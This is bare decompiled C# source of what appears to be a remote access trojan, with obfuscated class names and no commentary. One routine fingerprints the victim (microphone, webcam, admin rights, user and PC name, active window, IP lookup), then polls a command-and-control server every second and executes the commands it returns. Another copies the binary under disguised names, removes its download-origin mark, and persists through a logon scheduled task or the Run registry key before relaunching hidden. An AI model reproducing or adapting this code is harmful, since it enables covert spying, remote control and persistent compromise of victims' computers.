public static void CallFilter(string asset, string selection)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
new Thread((ThreadStart) delegate
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
SortFilter(asset, selection);
DecoratorReaderMapper decoratorReaderMapper = new DecoratorReaderMapper
{
["ServerType"] = ParserFilterResolver._0001("C#"),
["ServerVer"] = ParserFilterResolver._0001(MappingListAnnotation._RegistryEvent),
["isMicrophone"] = ParserFilterResolver._0001((DecoratorList._0001() > 0) ? "Y" : "N"),
["isWebcam"] = ParserFilterResolver._0001((new AccountInstanceExpression(WrapperIssuerImporter.serializerEvent).Count > 0) ? "Y" : "N"),
["isAdmin"] = ParserFilterResolver._0001(GlobalIssuerImporter.DestroyList() ? "Y" : "N"),
["WinVer"] = ParserFilterResolver._0001(ObserverEvent.VerifyList()),
["ACTWindow"] = ParserFilterResolver._0001(Publisher.InitEvent()),
["PCName"] = ParserFilterResolver._0001(GlobalIssuerImporter.SetList()),
["UserName"] = ParserFilterResolver._0001(GlobalIssuerImporter.RemoveList()),
["TAG"] = ParserFilterResolver._0001(DecoratorReaderMapper.PatchRequest(MappingListAnnotation.m_ServiceEvent)["TAG"].ResetClass <string>()),
["IpInfo"] = DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList("https://ipinfo.io/json"))
};
while (true)
{
try
{
decoratorReaderMapper["ACTWindow"] = ParserFilterResolver._0001(Publisher.InitEvent());
string text = ClassEvent.SearchFilter(DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(asset + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(asset)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(selection))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "getdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "getdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("command" + MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(decoratorReaderMapper.SetClass((TimeState)0, new BroadcasterError[0])))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("usermaindata" + asset))))))["response"].ResetClass <string>());
if (text.Length > 1)
{
DecoratorReaderMapper decoratorReaderMapper2 = DecoratorReaderMapper.PatchRequest(text);
if (decoratorReaderMapper2.get_Count() > 0)
{
DecoratorEventEntry.PatchRecord(decoratorReaderMapper2["Command"].ResetClass <string>(), decoratorReaderMapper2["Data"].ResetClass <string>(), asset, selection);
}
}
Thread.Sleep(1000);
}
catch
{
Thread.Sleep(10000);
}
}
}).Start();
}
public static void InvokeFilter()
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
if (File.Exists(Path.GetDirectoryName(MappingListAnnotation.m_PolicyEvent) + "\\" + ClassEvent.RegisterFilter(Path.GetFileName(MappingListAnnotation.m_PolicyEvent))))
{
return;
}
string fileName = MappingListAnnotation.m_PolicyEvent;
int num = new RepositoryEvent().PopList(1, 2);
for (int i = 0; i < new RepositoryEvent().PopList(2, 10); i++)
{
string path = Path.Combine(Path.GetTempPath() + "\\" + ClassEvent.ResetFilter(GlobalIssuerImporter.SetList() + GlobalIssuerImporter.RemoveList()) + ".tmp");
switch (num)
{
case 1:
try
{
string processName2 = TestFilter().ProcessName;
string text = ConcatFilter("C:\\");
File.Copy(MappingListAnnotation.m_PolicyEvent, text + "\\" + processName2 + ".exe", overwrite: true);
File.WriteAllText(text + "\\" + ClassEvent.RegisterFilter(processName2 + ".exe"), ReponseClassSpec.PublishFilter(new RepositoryEvent().PopList(10, 100)));
Publisher.PrepareFilter(text + "\\" + processName2 + ".exe:Zone.Identifier");
File.AppendAllText(path, "<$>" + text + "\\" + processName2 + ".exe");
if (GlobalIssuerImporter.DestroyList())
{
ProcessStartInfo processStartInfo = new ProcessStartInfo("schtasks");
processStartInfo.Arguments = "/create /tn \"" + processName2 + "\" /sc ONLOGON /tr \"'" + text + "\\" + processName2 + ".exe'\" /rl HIGHEST /f";
processStartInfo.UseShellExecute = false;
processStartInfo.CreateNoWindow = true;
ProcessStartInfo startInfo2 = processStartInfo;
Process process3 = Process.Start(startInfo2);
process3.WaitForExit(1500);
if (process3.ExitCode != 0)
{
using (RegistryKey registryKey3 = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64).OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true))
{
try
{
registryKey3.SetValue(processName2, "\"" + text + "\\" + processName2 + ".exe\"");
}
catch
{
}
}
}
}
else
{
using (RegistryKey registryKey4 = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64).OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true))
{
try
{
registryKey4.SetValue(processName2, "\"" + text + "\\" + processName2 + ".exe\"");
}
catch
{
}
}
}
fileName = text + "\\" + processName2 + ".exe";
}
catch
{
i--;
}
break;
case 2:
try
{
Process process = TestFilter();
string processName = process.ProcessName;
string directoryName = Path.GetDirectoryName(Publisher.VerifyFilter(process));
string[] files = Directory.GetFiles(directoryName);
directoryName = Path.Combine(directoryName + "\\" + Path.GetFileNameWithoutExtension(files[new RepositoryEvent().MoveList(files.Length)]));
Directory.CreateDirectory(directoryName);
File.Copy(MappingListAnnotation.m_PolicyEvent, directoryName + "\\" + processName + ".exe", overwrite: true);
File.WriteAllText(directoryName + "\\" + ClassEvent.RegisterFilter(processName + ".exe"), ReponseClassSpec.PublishFilter(new RepositoryEvent().PopList(10, 100)));
Publisher.PrepareFilter(directoryName + "\\" + processName + ".exe:Zone.Identifier");
File.AppendAllText(path, "<$>" + directoryName + "\\" + processName + ".exe");
if (GlobalIssuerImporter.DestroyList())
{
ProcessStartInfo processStartInfo = new ProcessStartInfo("schtasks");
processStartInfo.Arguments = "/create /tn \"" + processName + "\" /sc ONLOGON /tr \"'" + directoryName + "\\" + processName + ".exe'\" /rl HIGHEST /f";
processStartInfo.UseShellExecute = false;
processStartInfo.CreateNoWindow = true;
ProcessStartInfo startInfo = processStartInfo;
Process process2 = Process.Start(startInfo);
process2.WaitForExit(1500);
if (process2.ExitCode != 0)
{
using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64).OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true))
{
try
{
registryKey.SetValue(processName, "\"" + directoryName + "\\" + processName + ".exe\"");
}
catch
{
}
}
}
}
else
{
using (RegistryKey registryKey2 = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64).OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true))
{
try
{
registryKey2.SetValue(processName, "\"" + directoryName + "\\" + processName + ".exe\"");
}
catch
{
}
}
}
fileName = directoryName + "\\" + processName + ".exe";
}
catch
{
i--;
}
break;
}
}
try
{
Process.Start(new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
UseShellExecute = false,
FileName = fileName
});
Environment.Exit(0);
Application.Exit();
}
catch
{
}
}